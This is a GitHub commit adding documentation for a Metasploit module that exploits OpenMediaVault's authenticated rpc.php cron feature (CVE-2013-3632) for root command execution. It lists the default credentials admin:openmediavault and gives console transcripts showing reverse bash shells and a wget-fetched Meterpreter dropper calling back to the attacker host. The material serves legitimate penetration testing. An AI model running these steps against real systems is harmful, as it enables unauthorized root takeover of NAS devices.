Skip to content

Commit 594de46

Browse files
h00die-gr3yh00die-gr3y
committed
Second release module addressing cdelafuente-r7 comments and added documentation
1 parent 562e93f commit 594de46

File tree

2 files changed

+311
-96
lines changed

2 files changed

+311
-96
lines changed

‎documentation/modules/exploit/multi/http/openmediavault_auth_cron_rce.md

Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
## Vulnerable Application
2+
3+
This is a new module addressing an old vulnerability in OpenMediaVault, an open-source NAS solution.
4+
The vulnerability exists within all OpenMediaVault versions starting from from `1.0.0` until the recent release `7.3.1-1`
5+
and it allows an authenticated user to create cron jobs as root on the system.
6+
An attacker can abuse this by sending a POST request via `rpc.php` to schedule and execute a cron entry
7+
that runs arbitrary commands as root on the system.
8+
9+
The following releases were tested.
10+
11+
**OpenMediaVault x64 appliances:**
12+
* openmediavault_1.9_amd64.iso
13+
* openmediavault_2.0.13_amd64.iso
14+
* openmediavault_2.1_amd64.iso
15+
* openmediavault_3.0.2-amd64.iso
16+
* openmediavault_3.0.26-amd64.iso
17+
* openmediavault_3.0.74-amd64.iso
18+
* openmediavault_4.0.9-amd64.iso
19+
* openmediavault_4.1.3-amd64.iso
20+
* openmediavault_5.0.5-amd64.iso
21+
* openmediavault_5.5.11-amd64.iso
22+
* openmediavault_5.6.13-amd64.iso
23+
* openmediavault_6.0-16-amd64.iso
24+
* openmediavault_6.0-34-amd64.iso
25+
* openmediavault_6.0-amd64.iso
26+
* openmediavault_6.0.24-amd64.iso
27+
* openmediavault_6.5.0-amd64.iso
28+
* openmediavault_7.0-20-amd64.iso
29+
* openmediavault_7.0-32-amd64.iso
30+
31+
**ARM64 on Raspberry PI running Kali Linux 2024-3:**
32+
* openmediavault 7.3.0-5
33+
34+
## Installation steps to install OpenMediaVault NAS appliance
35+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
36+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
37+
* Download the OpenMediaVault iso images from [here](https://sourceforge.net/projects/openmediavault/files/iso/).
38+
* Install the iso image in your virtualization engine.
39+
* When installed, configure the VM appliance to your needs using the menu options.
40+
* Boot up the VM and should be able to access the OpenMediaVault appliance.
41+
* Either thru the console, `ssh` on port `22` or using the `webui` via `http://your_openmediavault_ip`.
42+
43+
You are now ready to test the module.
44+
45+
## Verification Steps
46+
- [ ] Start `msfconsole`
47+
- [ ] `use exploit/multi/http/openmediavault_auth_cron_rce`
48+
- [ ] `set rhosts <ip-target>`
49+
- [ ] `set rport <port>`
50+
- [ ] `set lhost <attacker-ip>`
51+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
52+
- [ ] `exploit`
53+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
54+
55+
## Options
56+
57+
### USERNAME
58+
This option is required and is the username (default: admin) to authenticate with the application.
59+
60+
### PASSWORD
61+
This option is required and is the password (default: openmediavault) in plain text to authenticate with the application.
62+
63+
## Scenarios
64+
```msf
65+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > info
66+
67+
Name: OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
68+
Module: exploit/multi/http/openmediavault_auth_cron_rce
69+
Platform: Unix, Linux
70+
Arch: cmd, x86, x64, armle, aarch64
71+
Privileged: Yes
72+
License: Metasploit Framework License (BSD)
73+
Rank: Excellent
74+
Disclosed: 2024-05-08
75+
76+
Provided by:
77+
h00die-gr3y <[email protected]>
78+
Brandon Perry <[email protected]>
79+
Mert BENADAM
80+
81+
Module side effects:
82+
ioc-in-logs
83+
artifacts-on-disk
84+
85+
Module stability:
86+
crash-safe
87+
88+
Module reliability:
89+
repeatable-session
90+
91+
Available targets:
92+
Id Name
93+
-- ----
94+
=> 0 Unix Command
95+
1 Linux Dropper
96+
97+
Check supported:
98+
Yes
99+
100+
Basic options:
101+
Name Current Setting Required Description
102+
---- --------------- -------- -----------
103+
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
104+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
105+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
106+
RPORT 80 yes The target port (TCP)
107+
SSL false no Negotiate SSL/TLS for outgoing connections
108+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
109+
TARGETURI / yes The URI path of the OpenMediaVault web application
110+
URIPATH no The URI to use for this exploit (default is random)
111+
USERNAME admin yes The OpenMediaVault username to authenticate with
112+
VHOST no HTTP server virtual host
113+
114+
115+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
116+
117+
Name Current Setting Required Description
118+
---- --------------- -------- -----------
119+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to liste
120+
n on all addresses.
121+
SRVPORT 8080 yes The local port to listen on.
122+
123+
Payload information:
124+
125+
Description:
126+
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
127+
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
128+
a cron entry that runs arbitrary commands as root on the system.
129+
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
130+
131+
References:
132+
https://nvd.nist.gov/vuln/detail/CVE-2013-3632
133+
https://packetstormsecurity.com/files/178526
134+
https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632
135+
136+
137+
View the full module info with the info -d command.
138+
```
139+
### openmediavault_7.0-32-amd64.iso appliance Unix command - cmd/unix/reverse_bash
140+
```msf
141+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set rhosts 192.168.201.6
142+
rhosts => 192.168.201.6
143+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set lhost 192.168.201.8
144+
lhost => 192.168.201.8
145+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > check
146+
147+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
148+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
149+
[+] 192.168.201.6:80 - The target is vulnerable. Version 7.0.pre.32
150+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > exploit
151+
152+
[*] Started reverse TCP handler on 192.168.201.8:4444
153+
[*] Running automatic check ("set AutoCheck false" to disable)
154+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
155+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
156+
[+] The target is vulnerable. Version 7.0.pre.32
157+
[*] Executing Unix Command for cmd/unix/reverse_bash
158+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
159+
[+] Cron payload entry successfully removed.
160+
[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60814) at 2024-07-03 12:47:54 +0000
161+
162+
id
163+
uid=0(root) gid=0(root) groups=0(root)
164+
uname -a
165+
Linux openmediavault 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Linux
166+
exit
167+
```
168+
### openmediavault_7.0-32-amd64.iso appliance Linux Dropper - linux/x64/meterpreter/reverse_tcp
169+
```msf
170+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set target 1
171+
target => 1
172+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > exploit
173+
174+
[*] Started reverse TCP handler on 192.168.201.8:4444
175+
[*] Running automatic check ("set AutoCheck false" to disable)
176+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
177+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
178+
[+] The target is vulnerable. Version 7.0.pre.32
179+
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
180+
[*] Using URL: http://192.168.201.8:8080/cYSPpwJI3FXafxL
181+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
182+
[*] Command Stager progress - 100.00% done (121/121 bytes)
183+
[*] Client 192.168.201.6 (Wget/1.21.3) requested /cYSPpwJI3FXafxL
184+
[*] Sending payload to 192.168.201.6 (Wget/1.21.3)
185+
[*] Sending stage (3045380 bytes) to 192.168.201.6
186+
[+] Cron payload entry successfully removed.
187+
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:44398) at 2024-07-03 12:53:49 +0000
188+
[*] Server stopped.
189+
190+
meterpreter > getuid
191+
Server username: root
192+
meterpreter > sysinfo
193+
Computer : openmediavault.local
194+
OS : Debian 12.5 (Linux 6.1.0-18-amd64)
195+
Architecture : x64
196+
BuildTuple : x86_64-linux-musl
197+
Meterpreter : x64/linux
198+
meterpreter >
199+
```
200+
### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Unix command - cmd/unix/reverse_bash
201+
```msf
202+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set target 0
203+
target => 0
204+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10
205+
rhosts => 192.168.1.10
206+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set lhost 192.168.1.8
207+
lhost => 192.168.1.8
208+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > exploit
209+
210+
[*] Started reverse TCP handler on 192.168.201.8:4444
211+
[*] Running automatic check ("set AutoCheck false" to disable)
212+
[*] Authenticating with OpenMediaVault using credentials admin:openmediavault
213+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
214+
[+] The target appears to be vulnerable. Version 7.3.0.pre.5
215+
[*] Executing Unix Command for cmd/unix/reverse_bash
216+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
217+
[+] Cron payload entry successfully removed.
218+
[*] Command shell session 8 opened (192.168.201.8:4444 -> 192.168.201.10:50292) at 2024-07-01 20:14:07 +0000
219+
220+
pwd
221+
/root
222+
uname -a
223+
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
224+
```
225+
### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Linux Dropper - linux/aarch64/meterpreter_reverse_tcp
226+
```msf
227+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set target 1
228+
target => 1
229+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10
230+
rhosts => 192.168.1.10
231+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > set lhost 192.168.1.8
232+
lhost => 192.168.1.8
233+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > exploit
234+
235+
msf6 exploit(multi/http/openmediavault_auth_cron_rce) > exploit
236+
237+
[*] Started reverse TCP handler on 192.168.201.8:4444
238+
[*] Running automatic check ("set AutoCheck false" to disable)
239+
[*] Authenticating with OpenMediaVault using credentials admin:openmediavault
240+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
241+
[+] The target appears to be vulnerable. Version 7.3.0.pre.5
242+
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
243+
[*] Using URL: http://192.168.201.8:8080/DdVzoLQugqto82
244+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
245+
[*] Command Stager progress - 100.00% done (120/120 bytes)
246+
[*] Client 192.168.201.10 (Wget/1.21.4) requested /DdVzoLQugqto82
247+
[*] Sending payload to 192.168.201.10 (Wget/1.21.4)
248+
[+] Cron payload entry successfully removed.
249+
[*] Meterpreter session 9 opened (192.168.201.8:4444 -> 192.168.201.10:36792) at 2024-07-01 20:22:02 +0000
250+
[*] Server stopped.
251+
252+
meterpreter > sysinfo
253+
Computer : 192.168.201.10
254+
OS : Debian (Linux 5.15.44-Re4son-v8l+)
255+
Architecture : aarch64
256+
BuildTuple : aarch64-linux-musl
257+
Meterpreter : aarch64/linux
258+
meterpreter > getuid
259+
Server username: root
260+
meterpreter >
261+
```
262+
## Limitations
263+
Ensure that your `WfsDelay` advanced option is set to more then 60 seconds to allow `cron` to execute the payload.

0 commit comments

Comments
 (0)